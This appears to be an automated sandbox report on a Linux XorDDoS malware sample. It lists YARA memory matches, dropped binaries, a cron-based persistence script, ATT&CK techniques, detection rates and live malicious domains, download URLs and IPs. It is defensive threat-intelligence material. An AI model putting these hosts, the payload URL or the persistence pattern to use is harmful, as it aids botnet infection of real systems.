Source: Yara match	File source: 5374.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5472.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5264.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5410.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5348.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5319.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5475.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5281.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5502.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5521.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5254.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5299.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5392.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5517.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5369.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5460.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5334.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5259.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5446.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5549.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5384.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5458.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5498.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5423.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5371.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5489.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5353.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5350.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5221.1.000000001a887bdc.00000000989094f2.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5221, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5223, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5224, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5225, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5254, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5259, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5261, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5264, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5267, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5273, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5276, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5279, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5281, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5284, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5291, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5294, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5296, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5299, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5302, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5308, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5311, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5313, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5316, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5319, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5326, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5329, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5332, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5334, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5337, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5345, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5348, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5350, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5353, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5356, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5363, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5366, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5369, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5371, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5374, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5384, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5387, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5389, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5392, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5395, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5401, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5404, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5407, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5410, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5412, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5418, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5421, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5423, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5426, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5428, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5435, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0Xorddos.o PID: 5438, type: MEMORYSTR
Source: Yara match	File source: /usr/bin/cvvhpkxdyk, type: DROPPED
Source: Yara match	File source: /usr/bin/wzulpfbuxk, type: DROPPED
Source: Yara match	File source: /usr/bin/njezqqgxiu, type: DROPPED
Source: Yara match	File source: /usr/bin/tngemhgnzk, type: DROPPED
Source: Yara match	File source: /usr/bin/aoyymackpm, type: DROPPED
Source: Yara match	File source: /usr/bin/qizbpqmtbi, type: DROPPED
Source: Yara match	File source: /usr/bin/gbsknxiwip, type: DROPPED
Source: Yara match	File source: /usr/bin/uqxezzsakx, type: DROPPED
Source: Yara match	File source: /usr/lib/libudev.so, type: DROPPED
Source: Yara match	File source: /usr/bin/cukrqcagnz, type: DROPPED
Source: Yara match	File source: /usr/bin/cvltgpdmgk, type: DROPPED
Source: Yara match	File source: /usr/bin/zareoppgxh, type: DROPPED
Source: Yara match	File source: /usr/bin/gpcmhoiszu, type: DROPPED
Source: Yara match	File source: /usr/bin/ysrkbnorkl, type: DROPPED

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	2 Scripting	1 Systemd Service	1 Systemd Service	11 Masquerading	OS Credential Dumping	1 Security Software Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	2 At (Linux)	2 At (Linux)	2 At (Linux)	2 Scripting	LSASS Memory	2 System Information Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	2 Non-Application Layer Protocol	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	3 Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	1 Ingress Tool Transfer	SIM Card Swap		Carrier Billing Fraud

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
0Xorddos.o	67%	Virustotal		Browse
0Xorddos.o	68%	Metadefender		Browse
0Xorddos.o	83%	ReversingLabs	Linux.Network.XorDDoS
0Xorddos.o	100%	Avira	LINUX/Xorddos.cona
0Xorddos.o	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
/usr/bin/njezqqgxiu	100%	Avira	LINUX/Xorddos.cona
/usr/bin/uqxezzsakx	100%	Avira	LINUX/Xorddos.cona
/usr/bin/ysrkbnorkl	100%	Avira	LINUX/Xorddos.cona
/usr/bin/cukrqcagnz	100%	Avira	LINUX/Xorddos.cona
/usr/bin/cvvhpkxdyk	100%	Avira	LINUX/Xorddos.cona
/usr/bin/tngemhgnzk	100%	Avira	LINUX/Xorddos.cona
/usr/bin/qizbpqmtbi	100%	Avira	LINUX/Xorddos.cona
/usr/lib/libudev.so	100%	Avira	LINUX/Xorddos.cona
/usr/bin/cvltgpdmgk	100%	Avira	LINUX/Xorddos.cona
/usr/bin/zareoppgxh	100%	Avira	LINUX/Xorddos.cona
/usr/bin/gbsknxiwip	100%	Avira	LINUX/Xorddos.cona
/usr/bin/gpcmhoiszu	100%	Avira	LINUX/Xorddos.cona
/usr/bin/aoyymackpm	100%	Avira	LINUX/Xorddos.cona
/usr/bin/wzulpfbuxk	100%	Avira	LINUX/Xorddos.cona
/usr/bin/njezqqgxiu	100%	Joe Sandbox ML
/usr/bin/uqxezzsakx	100%	Joe Sandbox ML
/usr/bin/ysrkbnorkl	100%	Joe Sandbox ML
/usr/bin/cukrqcagnz	100%	Joe Sandbox ML
/usr/bin/cvvhpkxdyk	100%	Joe Sandbox ML
/usr/bin/tngemhgnzk	100%	Joe Sandbox ML
/usr/bin/qizbpqmtbi	100%	Joe Sandbox ML
/usr/lib/libudev.so	100%	Joe Sandbox ML
/usr/bin/cvltgpdmgk	100%	Joe Sandbox ML
/usr/bin/zareoppgxh	100%	Joe Sandbox ML
/usr/bin/gbsknxiwip	100%	Joe Sandbox ML
/usr/bin/gpcmhoiszu	100%	Joe Sandbox ML
/usr/bin/aoyymackpm	100%	Joe Sandbox ML
/usr/bin/wzulpfbuxk	100%	Joe Sandbox ML
/etc/cron.hourly/gcc.sh	0%	Metadefender		Browse
/etc/cron.hourly/gcc.sh	28%	ReversingLabs	Linux.Trojan.XorDDoS

Domains

Source	Detection	Scanner	Label	Link
ppp.gggatat456.com	6%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://www1.gggatat456.com/dd.rar/lib/libudev.soB/var/run/gcc.pidB/var/run/9/tmp/6/bin/6/usr/bin/9qi	100%	Avira URL Cloud	malware
http://www1.gggatat456.com/dd.rar/lib/libudev.soB/var/run/gcc.pidB/var/run/9/tmp/6/bin/6/usr/bin/9tn	100%	Avira URL Cloud	malware
http://www1.gggatat456.com/dd.rar/lib/libudev.soB/var/run/gcc.pidB/var/run/9/tmp/6/bin/6/usr/bin/9ys	100%	Avira URL Cloud	malware
http://www1.gggatat456.com/dd.rar/lib/libudev.soB/var/run/gcc.pidB/var/run/9/tmp/6/bin/6/usr/bin/9nj	100%	Avira URL Cloud	malware
http://www1.gggatat456.com/dd.rar/lib/libudev.soB/var/run/gcc.pidB/var/run/9/tmp/6/bin/6/usr/bin/9uq	100%	Avira URL Cloud	malware
http://www1.gggatat456.com/dd.rar/lib/libudev.soB/var/run/gcc.pidB/var/run/9/tmp/6/bin/6/usr/bin/9gb	100%	Avira URL Cloud	malware
http://www1.gggatat456.com/dd.rar/lib/libudev.soB/var/run/gcc.pidB/var/run/9/tmp/6/bin/6/usr/bin/9cu	100%	Avira URL Cloud	malware
http://www1.gggatat456.com/dd.rar/lib/libudev.soB/var/run/gcc.pidB/var/run/9/tmp/6/bin/6/usr/bin/9cv	100%	Avira URL Cloud	malware
http://www1.gggatat456.com/dd.rar/lib/libudev.soB/var/run/gcc.pidB/var/run/9/tmp/6/bin/6/usr/bin/9cx	100%	Avira URL Cloud	malware
http://www1.gggatat456.com/dd.rar/lib/libudev.soB/var/run/gcc.pidB/var/run/9/tmp/6/bin/6/usr/bin/9qf	100%	Avira URL Cloud	malware
http://www1.gggatat456.com/dd.rar/lib/libudev.soB/var/run/gcc.pidB/var/run/9/tmp/6/bin/6/usr/bin/9za	100%	Avira URL Cloud	malware
http://www1.gggatat456.com/dd.rar	100%	Avira URL Cloud	malware
http://www1.gggatat456.com/dd.rar/lib/libudev.soB/var/run/gcc.pidB/var/run/9/tmp/6/bin/6/usr/bin/9gp	100%	Avira URL Cloud	malware
http://www1.gggatat456.com/dd.rar/lib/libudev.soB/var/run/gcc.pidB/var/run/9/tmp/6/bin/6/usr/bin/9ao	100%	Avira URL Cloud	malware
http://www1.gggatat456.com/dd.rar/lib/libudev.soB/var/run/gcc.pidB/var/run/9/tmp/6/bin/6/usr/bin/9yf	100%	Avira URL Cloud	malware
http://www1.gggatat456.com/dd.rar/lib/libudev.soB/var/run/gcc.pidB/var/run/9/tmp/6/bin/6/usr/bin/9os	100%	Avira URL Cloud	malware
http://www1.gggatat456.com/dd.rar/lib/libudev.soB/var/run/gcc.pidB/var/run/9/tmp/6/bin/6/usr/bin/9wz	100%	Avira URL Cloud	malware
http://www1.gggatat456.com/dd.rar/lib/libudev.soB/var/run/gcc.pidB/var/run/9/tmp/6/bin/6/usr/bin/9/t	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ppp.gggatat456.com	54.36.145.106	true	true	6%, Virustotal, Browse	unknown
www1.gggatat456.com	54.36.15.99	true	true		unknown
ppp.xxxatat456.com	79.137.1.132	true	false		unknown
p5.lpjulidny7.com	unknown	unknown	false		unknown
p5.dddgata789.com	unknown	unknown	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www1.gggatat456.com/dd.rar	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www1.gggatat456.com/dd.rar/lib/libudev.soB/var/run/gcc.pidB/var/run/9/tmp/6/bin/6/usr/bin/9qi	0Xorddos.o, 5455.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5458.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5460.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5463.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5466.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp	true	Avira URL Cloud: malware	unknown
http://www1.gggatat456.com/dd.rar/lib/libudev.soB/var/run/gcc.pidB/var/run/9/tmp/6/bin/6/usr/bin/9tn	0Xorddos.o, 5345.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5348.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5350.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5353.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5356.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp	true	Avira URL Cloud: malware	unknown
http://www1.gggatat456.com/dd.rar/lib/libudev.soB/var/run/gcc.pidB/var/run/9/tmp/6/bin/6/usr/bin/9ys	0Xorddos.o, 5291.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5294.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5296.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5299.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5302.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp	true	Avira URL Cloud: malware	unknown
http://www1.gggatat456.com/dd.rar/lib/libudev.soB/var/run/gcc.pidB/var/run/9/tmp/6/bin/6/usr/bin/9nj	0Xorddos.o, 5363.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5366.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5369.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5371.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5374.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp	true	Avira URL Cloud: malware	unknown
http://www1.gggatat456.com/dd.rar/lib/libudev.soB/var/run/gcc.pidB/var/run/9/tmp/6/bin/6/usr/bin/9uq	0Xorddos.o, 5254.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5259.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5261.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5264.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5267.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp	true	Avira URL Cloud: malware	unknown
http://www1.gggatat456.com/dd.rar/lib/libudev.soB/var/run/gcc.pidB/var/run/9/tmp/6/bin/6/usr/bin/9gb	0Xorddos.o, 5418.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5421.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5423.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5426.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5428.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp	true	Avira URL Cloud: malware	unknown
http://www1.gggatat456.com/dd.rar/lib/libudev.soB/var/run/gcc.pidB/var/run/9/tmp/6/bin/6/usr/bin/9cu	0Xorddos.o, 5273.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5276.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5279.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5281.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5284.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp	true	Avira URL Cloud: malware	unknown
http://www1.gggatat456.com/dd.rar/lib/libudev.soB/var/run/gcc.pidB/var/run/9/tmp/6/bin/6/usr/bin/9cv	0Xorddos.o, 5326.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5329.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5332.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5334.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5337.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5472.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5475.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5478.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5480.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5482.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp	true	Avira URL Cloud: malware	unknown
http://www1.gggatat456.com/dd.rar/lib/libudev.soB/var/run/gcc.pidB/var/run/9/tmp/6/bin/6/usr/bin/9cx	0Xorddos.o, 5509.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5512.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5515.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5517.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5521.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp	true	Avira URL Cloud: malware	unknown
http://www1.gggatat456.com/dd.rar/lib/libudev.soB/var/run/gcc.pidB/var/run/9/tmp/6/bin/6/usr/bin/9qf	0Xorddos.o, 5526.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5529.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5532.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5534.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5537.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp	true	Avira URL Cloud: malware	unknown
http://www.gnu.org/software/libc/bugs.html	0Xorddos.o, njezqqgxiu.11.dr, uqxezzsakx.11.dr, ysrkbnorkl.11.dr, cukrqcagnz.11.dr, cvvhpkxdyk.11.dr, tngemhgnzk.11.dr, qizbpqmtbi.11.dr, libudev.so.11.dr, cvltgpdmgk.11.dr, zareoppgxh.11.dr, gbsknxiwip.11.dr, gpcmhoiszu.11.dr, aoyymackpm.11.dr, wzulpfbuxk.11.dr	false		high
http://www1.gggatat456.com/dd.rar/lib/libudev.soB/var/run/gcc.pidB/var/run/9/tmp/6/bin/6/usr/bin/9za	0Xorddos.o, 5308.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5311.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5313.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5316.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5319.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp	true	Avira URL Cloud: malware	unknown
http://www1.gggatat456.com/dd.rar/lib/libudev.soB/var/run/gcc.pidB/var/run/9/tmp/6/bin/6/usr/bin/9gp	0Xorddos.o, 5435.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5438.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5441.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5444.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5446.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp	true	Avira URL Cloud: malware	unknown
http://www1.gggatat456.com/dd.rar/lib/libudev.soB/var/run/gcc.pidB/var/run/9/tmp/6/bin/6/usr/bin/9ao	0Xorddos.o, 5401.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5404.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5407.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5410.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5412.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp	true	Avira URL Cloud: malware	unknown
http://www1.gggatat456.com/dd.rar/lib/libudev.soB/var/run/gcc.pidB/var/run/9/tmp/6/bin/6/usr/bin/9yf	0Xorddos.o, 5546.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5549.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp	true	Avira URL Cloud: malware	unknown
http://www1.gggatat456.com/dd.rar/lib/libudev.soB/var/run/gcc.pidB/var/run/9/tmp/6/bin/6/usr/bin/9os	0Xorddos.o, 5489.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5492.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5495.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5498.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5502.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp	true	Avira URL Cloud: malware	unknown
http://www1.gggatat456.com/dd.rar/lib/libudev.soB/var/run/gcc.pidB/var/run/9/tmp/6/bin/6/usr/bin/9wz	0Xorddos.o, 5384.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5387.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5389.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5392.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5395.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp	true	Avira URL Cloud: malware	unknown
http://www1.gggatat456.com/dd.rar/lib/libudev.soB/var/run/gcc.pidB/var/run/9/tmp/6/bin/6/usr/bin/9/t	0Xorddos.o, 5221.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5223.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5224.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp, 0Xorddos.o, 5225.1.00000000c1b1ea55.000000007e7cb5bb.rw-.sdmp	true	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
176.31.91.137	unknown	France		16276	OVHFR	false
79.137.1.132	ppp.xxxatat456.com	France		16276	OVHFR	false
46.105.84.190	unknown	France		16276	OVHFR	false
109.202.202.202	unknown	Switzerland		13030	INIT7CH	false
54.36.145.106	ppp.gggatat456.com	France		16276	OVHFR	true
51.89.52.12	unknown	France		16276	OVHFR	false
91.189.91.43	unknown	United Kingdom		41231	CANONICAL-ASGB	false
91.189.91.42	unknown	United Kingdom		41231	CANONICAL-ASGB	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
109.202.202.202	kF8ptOSQ8Q	Get hash	malicious	Browse
	SVcaaUrWJI	Get hash	malicious	Browse
	I8sti3mrD6	Get hash	malicious	Browse
	ldYKA4X18f	Get hash	malicious	Browse
	MipsLinuxTF	Get hash	malicious	Browse
	Ugliest.x86	Get hash	malicious	Browse
	Ugliest.mpsl	Get hash	malicious	Browse
	Ugliest.mips	Get hash	malicious	Browse
	Ugliest.arm5	Get hash	malicious	Browse
	Ugliest.arm7	Get hash	malicious	Browse
	Ugliest.arm	Get hash	malicious	Browse
	http://a.oracleservice.top/xms	Get hash	malicious	Browse
	Ah1Rf0aa6c	Get hash	malicious	Browse
	5a4sZ5187p	Get hash	malicious	Browse
	hOoQCXYvEZ	Get hash	malicious	Browse
	b3j1llqYGf	Get hash	malicious	Browse
	g5MgQm8yC5	Get hash	malicious	Browse
	jkjItu8lbs	Get hash	malicious	Browse
	l84hWcT7db	Get hash	malicious	Browse
	ryNzDK8d7O	Get hash	malicious	Browse
